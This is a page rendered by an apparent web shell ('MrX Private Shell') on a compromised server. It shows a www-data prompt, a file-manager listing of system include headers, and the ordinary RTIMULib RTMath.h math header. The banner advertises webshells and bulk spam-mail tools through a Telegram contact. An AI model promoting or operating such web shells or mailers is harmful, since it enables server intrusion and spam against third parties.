__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.153: ~ $
////////////////////////////////////////////////////////////////////////////
//
//  This file is part of RTIMULib
//
//  Copyright (c) 2014-2015, richards-tech, LLC
//
//  Permission is hereby granted, free of charge, to any person obtaining a copy of
//  this software and associated documentation files (the "Software"), to deal in
//  the Software without restriction, including without limitation the rights to use,
//  copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the
//  Software, and to permit persons to whom the Software is furnished to do so,
//  subject to the following conditions:
//
//  The above copyright notice and this permission notice shall be included in all
//  copies or substantial portions of the Software.
//
//  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
//  INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
//  PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
//  HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
//  OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
//  SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

#ifndef _RTMATH_H_
#define _RTMATH_H_

#include "RTIMUHal.h"

//  The fundamental float type

#ifdef RTMATH_USE_DOUBLE
typedef double RTFLOAT;
#else
typedef float RTFLOAT;
#endif

//  Useful constants

#define	RTMATH_PI					3.1415926535
#define	RTMATH_DEGREE_TO_RAD		(RTMATH_PI / 180.0)
#define	RTMATH_RAD_TO_DEGREE		(180.0 / RTMATH_PI)

class RTVector3;
class RTMatrix4x4;
class RTQuaternion;

class RTMath
{
public:
    // convenient display routines

    static const char *displayRadians(const char *label, RTVector3& vec);
    static const char *displayDegrees(const char *label, RTVector3& vec);
    static const char *display(const char *label, RTQuaternion& quat);
    static const char *display(const char *label, RTMatrix4x4& mat);

    //  currentUSecsSinceEpoch() is the source of all timestamps and
    //  is the number of uS since the standard epoch

    static uint64_t currentUSecsSinceEpoch();

    //  poseFromAccelMag generates pose Euler angles from measured settings

    static RTVector3 poseFromAccelMag(const RTVector3& accel, const RTVector3& mag);

    //  Takes signed 16 bit data from a char array and converts it to a vector of scaled RTFLOATs

    static void convertToVector(unsigned char *rawData, RTVector3& vec, RTFLOAT scale, bool bigEndian);

    //  Takes a pressure in hPa and returns height above sea level in meters

    static RTFLOAT convertPressureToHeight(RTFLOAT pressure, RTFLOAT staticPressure = 1013.25);

private:
    static char m_string[1000];                             // for the display routines
};


class RTVector3
{
public:
    RTVector3();
    RTVector3(RTFLOAT x, RTFLOAT y, RTFLOAT z);

    const RTVector3&  operator +=(RTVector3& vec);
    const RTVector3&  operator -=(RTVector3& vec);

    RTVector3& operator =(const RTVector3& vec);

    RTFLOAT length();
    void normalize();
    void zero();
    const char *display();
    const char *displayDegrees();

    static float dotProduct(const RTVector3& a, const RTVector3& b);
    static void crossProduct(const RTVector3& a, const RTVector3& b, RTVector3& d);

    void accelToEuler(RTVector3& rollPitchYaw) const;
    void accelToQuaternion(RTQuaternion& qPose) const;

    inline RTFLOAT x() const { return m_data[0]; }
    inline RTFLOAT y() const { return m_data[1]; }
    inline RTFLOAT z() const { return m_data[2]; }
    inline RTFLOAT data(const int i) const { return m_data[i]; }

    inline void setX(const RTFLOAT val) { m_data[0] = val; }
    inline void setY(const RTFLOAT val) { m_data[1] = val; }
    inline void setZ(const RTFLOAT val) { m_data[2] = val; }
    inline void setData(const int i, RTFLOAT val) { m_data[i] = val; }
    inline void fromArray(RTFLOAT *val) { memcpy(m_data, val, 3 * sizeof(RTFLOAT)); }
    inline void toArray(RTFLOAT *val) const { memcpy(val, m_data, 3 * sizeof(RTFLOAT)); }

private:
    RTFLOAT m_data[3];
};


class RTQuaternion
{
public:
    RTQuaternion();
    RTQuaternion(RTFLOAT scalar, RTFLOAT x, RTFLOAT y, RTFLOAT z);

    RTQuaternion& operator +=(const RTQuaternion& quat);
    RTQuaternion& operator -=(const RTQuaternion& quat);
    RTQuaternion& operator *=(const RTQuaternion& qb);
    RTQuaternion& operator *=(const RTFLOAT val);
    RTQuaternion& operator -=(const RTFLOAT val);

    RTQuaternion& operator =(const RTQuaternion& quat);
    const RTQuaternion operator *(const RTQuaternion& qb) const;
    const RTQuaternion operator *(const RTFLOAT val) const;
    const RTQuaternion operator -(const RTQuaternion& qb) const;
    const RTQuaternion operator -(const RTFLOAT val) const;

    void normalize();
    void toEuler(RTVector3& vec);
    void fromEuler(RTVector3& vec);
    RTQuaternion conjugate() const;
    void toAngleVector(RTFLOAT& angle, RTVector3& vec);
    void fromAngleVector(const RTFLOAT& angle, const RTVector3& vec);

    void zero();
    const char *display();

    inline RTFLOAT scalar() const { return m_data[0]; }
    inline RTFLOAT x() const { return m_data[1]; }
    inline RTFLOAT y() const { return m_data[2]; }
    inline RTFLOAT z() const { return m_data[3]; }
    inline RTFLOAT data(const int i) const { return m_data[i]; }

    inline void setScalar(const RTFLOAT val) { m_data[0] = val; }
    inline void setX(const RTFLOAT val) { m_data[1] = val; }
    inline void setY(const RTFLOAT val) { m_data[2] = val; }
    inline void setZ(const RTFLOAT val) { m_data[3] = val; }
    inline void setData(const int i, RTFLOAT val) { m_data[i] = val; }
    inline void fromArray(RTFLOAT *val) { memcpy(m_data, val, 4 * sizeof(RTFLOAT)); }
    inline void toArray(RTFLOAT *val) const { memcpy(val, m_data, 4 * sizeof(RTFLOAT)); }

private:
    RTFLOAT m_data[4];
};

class RTMatrix4x4
{
public:
    RTMatrix4x4();

    RTMatrix4x4& operator +=(const RTMatrix4x4& mat);
    RTMatrix4x4& operator -=(const RTMatrix4x4& mat);
    RTMatrix4x4& operator *=(const RTFLOAT val);

    RTMatrix4x4& operator =(const RTMatrix4x4& vec);
    const RTQuaternion operator *(const RTQuaternion& q) const;
    const RTMatrix4x4 operator *(const RTFLOAT val) const;
    const RTMatrix4x4 operator *(const RTMatrix4x4& mat) const;
    const RTMatrix4x4 operator +(const RTMatrix4x4& mat) const;

    inline RTFLOAT val(int row, int col) const { return m_data[row][col]; }
    inline void setVal(int row, int col, RTFLOAT val) { m_data[row][col] = val; }
    void fill(RTFLOAT val);
    void setToIdentity();

    RTMatrix4x4 inverted();
    RTMatrix4x4 transposed();

private:
    RTFLOAT m_data[4][4];                                   // row, column

    RTFLOAT matDet();
    RTFLOAT matMinor(const int row, const int col);
};

#endif /* _RTMATH_H_ */

Filemanager

Name Type Size Permission Actions
GL Folder 0755
IMUDrivers Folder 0755
KHR Folder 0755
X11 Folder 0755
aarch64-linux-gnu Folder 0755
arm-linux-gnueabihf Folder 0755
arpa Folder 0755
asm-generic Folder 0755
c++ Folder 0755
cxl Folder 0755
drm Folder 0755
finclude Folder 0755
fwctl Folder 0755
gdb Folder 0755
geany Folder 0755
iproute2 Folder 0755
libxml2 Folder 0755
linux Folder 0755
misc Folder 0755
mtd Folder 0755
net Folder 0755
netash Folder 0755
netatalk Folder 0755
netax25 Folder 0755
neteconet Folder 0755
netinet Folder 0755
netipx Folder 0755
netiucv Folder 0755
netpacket Folder 0755
netrom Folder 0755
netrose Folder 0755
nfs Folder 0755
php Folder 0755
protocols Folder 0755
python3.13 Folder 0755
python3.13m Folder 0755
rdma Folder 0755
regulator Folder 0755
rpc Folder 0755
rpcsvc Folder 0755
scsi Folder 0755
selinux Folder 0755
sepol Folder 0755
sound Folder 0755
uuid Folder 0755
video Folder 0755
xcb Folder 0755
xen Folder 0755
RTFusion.h File 4.62 KB 0644
RTFusionKalman4.h File 3.39 KB 0644
RTFusionRTQF.h File 2.17 KB 0644
RTIMUAccelCal.h File 2.95 KB 0644
RTIMUCalDefs.h File 2.91 KB 0644
RTIMUHal.h File 4.31 KB 0644
RTIMULib.h File 1.88 KB 0644
RTIMULibDefs.h File 2.43 KB 0644
RTIMUMagCal.h File 4.02 KB 0644
RTIMUSettings.h File 17.23 KB 0644
RTMath.h File 6.74 KB 0644
aio.h File 7.57 KB 0644
aliases.h File 1.98 KB 0644
alloca.h File 1.17 KB 0644
ar.h File 1.69 KB 0644
argp.h File 24.95 KB 0644
argz.h File 5.91 KB 0644
assert.h File 4.99 KB 0644
augeas.h File 23.12 KB 0644
byteswap.h File 1.42 KB 0644
cifsidmap.h File 6 KB 0644
complex.h File 7.99 KB 0644
cpio.h File 2.21 KB 0644
crypt.h File 10.87 KB 0644
ctype.h File 10.71 KB 0644
dirent.h File 12.32 KB 0644
dlfcn.h File 8.38 KB 0644
elf.h File 191.5 KB 0644
endian.h File 2.25 KB 0644
envz.h File 2.8 KB 0644
err.h File 2.33 KB 0644
errno.h File 1.64 KB 0644
error.h File 2.37 KB 0644
execinfo.h File 1.49 KB 0644
expat.h File 44.16 KB 0644
expat_external.h File 6.07 KB 0644
fa.h File 12.36 KB 0644
fcntl.h File 11.15 KB 0644
features-time64.h File 1.5 KB 0644
features.h File 18.76 KB 0644
fenv.h File 5.65 KB 0644
fmtmsg.h File 3.16 KB 0644
fnmatch.h File 2.24 KB 0644
fstab.h File 3.04 KB 0644
fts.h File 9.37 KB 0644
ftw.h File 6.22 KB 0644
gawkapi.h File 40.72 KB 0644
gconv.h File 4.11 KB 0644
getopt.h File 1.43 KB 0644
glob.h File 7.14 KB 0644
gnu-versions.h File 2.29 KB 0644
gnumake.h File 2.84 KB 0644
grp.h File 6.69 KB 0644
gshadow.h File 4.58 KB 0644
iconv.h File 1.87 KB 0644
ifaddrs.h File 2.77 KB 0644
inttypes.h File 11.04 KB 0644
langinfo.h File 17.43 KB 0644
lastlog.h File 126 B 0644
libgen.h File 1.35 KB 0644
libintl.h File 4.47 KB 0644
limits.h File 5.57 KB 0644
link.h File 7.62 KB 0644
locale.h File 7.5 KB 0644
malloc.h File 5.84 KB 0644
math.h File 48.13 KB 0644
mcheck.h File 2.38 KB 0644
memory.h File 956 B 0644
mntent.h File 3.28 KB 0644
monetary.h File 1.92 KB 0644
mqueue.h File 4.47 KB 0644
netdb.h File 27.8 KB 0644
nl_types.h File 1.71 KB 0644
nss.h File 14.07 KB 0644
obstack.h File 20.81 KB 0644
paths.h File 2.91 KB 0644
pcmanfm-modules.h File 2.33 KB 0644
pcre2.h File 50.11 KB 0644
pcre2posix.h File 7.18 KB 0644
poll.h File 22 B 0644
printf.h File 6.71 KB 0644
proc_service.h File 3.4 KB 0644
pthread.h File 47.29 KB 0644
pty.h File 1.53 KB 0644
pwd.h File 6.17 KB 0644
re_comp.h File 963 B 0644
regex.h File 25.33 KB 0644
regexp.h File 1.35 KB 0644
resolv.h File 12.1 KB 0644
sched.h File 4.92 KB 0644
search.h File 5.32 KB 0644
semaphore.h File 3.39 KB 0644
setjmp.h File 3.12 KB 0644
sgtty.h File 1.31 KB 0644
shadow.h File 5.5 KB 0644
signal.h File 12.74 KB 0644
spawn.h File 8.19 KB 0644
stab.h File 264 B 0644
stdbit.h File 26.28 KB 0644
stdc-predef.h File 2.4 KB 0644
stdint.h File 7.96 KB 0644
stdio.h File 33.37 KB 0644
stdio_ext.h File 2.73 KB 0644
stdlib.h File 40.08 KB 0644
string.h File 19.5 KB 0644
strings.h File 4.64 KB 0644
sudo_plugin.h File 11.79 KB 0644
syscall.h File 25 B 0644
sysexits.h File 5.11 KB 0644
syslog.h File 24 B 0644
tar.h File 3.66 KB 0644
termio.h File 214 B 0644
termios.h File 3.51 KB 0644
tgmath.h File 47.64 KB 0644
thread_db.h File 15.65 KB 0644
threads.h File 7.63 KB 0644
time.h File 14.76 KB 0644
ttyent.h File 2.44 KB 0644
uchar.h File 3.04 KB 0644
ucontext.h File 1.99 KB 0644
ulimit.h File 1.55 KB 0644
unistd.h File 44 KB 0644
utime.h File 1.87 KB 0644
utmp.h File 3.15 KB 0644
utmpx.h File 4 KB 0644
values.h File 1.91 KB 0644
wait.h File 22 B 0644
wchar.h File 38.19 KB 0644
wctype.h File 5.42 KB 0644
wordexp.h File 2.44 KB 0644
zconf.h File 16.08 KB 0644
zlib.h File 94.56 KB 0644
Filemanager